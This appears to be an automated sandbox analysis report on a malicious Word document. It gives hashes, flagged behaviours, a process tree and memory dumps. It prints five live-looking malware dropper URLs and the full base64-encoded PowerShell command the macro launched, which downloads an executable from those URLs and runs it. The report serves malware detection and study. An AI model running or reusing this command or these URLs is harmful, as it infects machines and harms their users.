Analysis

  • max time kernel
    137s
  • max time network
    64s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    18-04-2022 10:42

General

  • Target

    46946372c81802503f01b6d9739fd4dd9fe39225973c8b9c22ef625666d48deb.doc

  • Size

    161KB

  • MD5

    3a864f7c64c77a701b9aec3dbcb4389f

  • SHA1

    1a1cfdbbded9a84be91aac5064a21c591710049c

  • SHA256

    46946372c81802503f01b6d9739fd4dd9fe39225973c8b9c22ef625666d48deb

  • SHA512

    9d602204fdbb18243c1aa28a293618aa588406a593f949807e30f8b4d20e95b94582687b251b86a10edb9625f7cca89dd8def77cdb86af0acb8300ec08a6d9ac

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://kompy.cba.pl/gif/lN_dl/

exe.dropper

http://fisiobianchini.com.br/wp-content/uploads/2016/05/S_U/

exe.dropper

http://dev.dimatech.org/wp-admin/Hu_jj/

exe.dropper

http://juangrela.com/admin/bB_m/

exe.dropper

http://coupedecheveux.org/yu71t1x/c_V/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\46946372c81802503f01b6d9739fd4dd9fe39225973c8b9c22ef625666d48deb.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1384
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABBAFoAQwBBAEQANABaAD0AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAEEAJwAsACcATABBADQARABBAEIAJwApADsAJABvAEEAQQBrAGMAdwBHAG8APQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgACgAJwBOAGUAdAAuAFcAZQBiAEMAbABpACcAKwAnAGUAbgAnACsAJwB0ACcAKQA7ACQAaQBrAEIAQgBDAEEAeAA9ACgAIgB7ADEAOQB9AHsAOQB9AHsANQB9AHsAMQB9AHsAMQA0AH0AewA3AH0AewAxADUAfQB7ADIAMgB9AHsAMQA3AH0AewAzADUAfQB7ADMAMgB9AHsAMQAxAH0AewAyADQAfQB7ADEANgB9AHsAMgA4AH0AewAyADYAfQB7ADMAMwB9AHsANgB9AHsAMgAxAH0AewAyADUAfQB7ADQAfQB7ADEAMgB9AHsAMgA3AH0AewAzAH0AewAxADAAfQB7ADMAMAB9AHsAMgB9AHsAOAB9AHsAMwA0AH0AewAxADgAfQB7ADMAMQB9AHsAMAB9AHsAMQAzAH0AewAyADAAfQB7ADIAOQB9AHsAMgAzAH0AIgAtAGYAIAAnAGUAZAAnACwAJwBrAG8AbQBwAHkALgAnACwAJwBjAG8AbQAvAGEAJwAsACcAOgAvAC8AJwAsACcAaQBtAGEAdABlAGMAaAAnACwAJwAvAC8AJwAsACcALwBTAF8AVQAvAEAAaAB0AHQAcAAnACwAJwAvAGcAaQBmACcALAAnAGQAbQBpACcALAAnAHAAOgAnACwAJwBqAHUAYQBuAGcAJwAsACcAbgAnACwAJwAuACcALAAnAGUAYwBoAGUAdgAnACwAJwBjAGIAYQAuAHAAbAAnACwAJwAvAGwATgAnACwAJwBoAGkAbgBpAC4AYwBvAG0AJwAsACcAbAAvACcALAAnAF8AbQAvAEAAaAB0AHQAcAA6ACcALAAnAGgAdAB0ACcALAAnAGUAdQB4AC4AbwByACcALAAnADoALwAvAGQAZQB2AC4AJwAsACcAXwBkACcALAAnAC8AeQB1ADcAMQB0ADEAeAAvAGMAXwBWAC8AJwAsACcAYwAnACwAJwBkACcALAAnAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvADIAJwAsACcAbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwBIAHUAXwBqAGoALwBAAGgAdAB0AHAAJwAsACcALgBiAHIALwB3AHAALQBjACcALAAnAGcAJwAsACcAcgBlAGwAYQAuACcALAAnAC8ALwBjAG8AdQBwACcALAAnADoALwAvAGYAaQBzAGkAbwBiAGkAYQAnACwAJwAwADEANgAvADAANQAnACwAJwBuAC8AYgBCACcALAAnAEAAaAB0AHQAcAAnACkALgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAaQB0ACcALAAnAFMAcABsACcAKQAuAEkAbgB2AG8AawBlACgAJwBAACcAKQA7ACQAbwBBAFoAWABRAEEAQgAxAD0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBBAEMAJwAsACcAQQBBAEEAQQAnACwAJwBjACcAKQA7ACQARQBvAFUAeABRAG8AIAA9ACAAJwA2ADYAMAAnADsAJABvADQAVQBvADEARABaAD0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAEEARwBCACcALAAnAEEARABDAEEAJwAsACcAUQAnACkAOwAkAEwAWABEAEEAMQBBAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABFAG8AVQB4AFEAbwArACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcALgAnACwAJwBlAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABSAF8AQQBfAEEARABBAFoAIABpAG4AIAAkAGkAawBCAEIAQwBBAHgAKQB7AHQAcgB5AHsAJABvAEEAQQBrAGMAdwBHAG8ALgAoACIAewAxAH0AewAzAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcAbABlACcALAAnAEQAbwB3ACcALAAnAGEAZABGAGkAJwAsACcAbgBsAG8AJwApAC4ASQBuAHYAbwBrAGUAKAAkAFIAXwBBAF8AQQBEAEEAWgAsACAAJABMAFgARABBADEAQQApADsAJABCAG8ARABHAHgAQQBBAEEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAIAAnAEEAQQAnACwAJwBRAEEAWABBACcALAAnAEMAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEwAWABEAEEAMQBBACkALgAiAGwAZQBOAGAAZwBgAFQAaAAiACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQATABYAEQAQQAxAEEAOwAkAHYAQQBVAEEAWgBBAEEAPQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAFoAVQBRADQAJwAsACcASABBADEAQQAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAagB3AEMAQQBrAEEAXwBBAD0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBEADEAJwAsACcAQQBaACcALAAnAGgAQQBBACcAKQA7AA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1652

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1384-65-0x0000000005E00000-0x0000000006A4A000-memory.dmp
      Filesize

      12.3MB

    • memory/1384-55-0x000000006FFC1000-0x000000006FFC3000-memory.dmp
      Filesize

      8KB

    • memory/1384-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1384-57-0x0000000075FC1000-0x0000000075FC3000-memory.dmp
      Filesize

      8KB

    • memory/1384-71-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1384-59-0x0000000070FAD000-0x0000000070FB8000-memory.dmp
      Filesize

      44KB

    • memory/1384-54-0x0000000072541000-0x0000000072544000-memory.dmp
      Filesize

      12KB

    • memory/1384-61-0x00000000005B5000-0x00000000005B9000-memory.dmp
      Filesize

      16KB

    • memory/1384-62-0x00000000005B5000-0x00000000005B9000-memory.dmp
      Filesize

      16KB

    • memory/1652-68-0x00000000024B4000-0x00000000024B7000-memory.dmp
      Filesize

      12KB

    • memory/1652-66-0x00000000024B0000-0x00000000024B2000-memory.dmp
      Filesize

      8KB

    • memory/1652-67-0x00000000024B2000-0x00000000024B4000-memory.dmp
      Filesize

      8KB

    • memory/1652-64-0x000007FEF3220000-0x000007FEF3D7D000-memory.dmp
      Filesize

      11.4MB

    • memory/1652-69-0x000000001B720000-0x000000001BA1F000-memory.dmp
      Filesize

      3.0MB

    • memory/1652-70-0x00000000024BB000-0x00000000024DA000-memory.dmp
      Filesize

      124KB

    • memory/1756-60-0x000007FEFBA51000-0x000007FEFBA53000-memory.dmp
      Filesize

      8KB

    • memory/1756-58-0x0000000000000000-mapping.dmp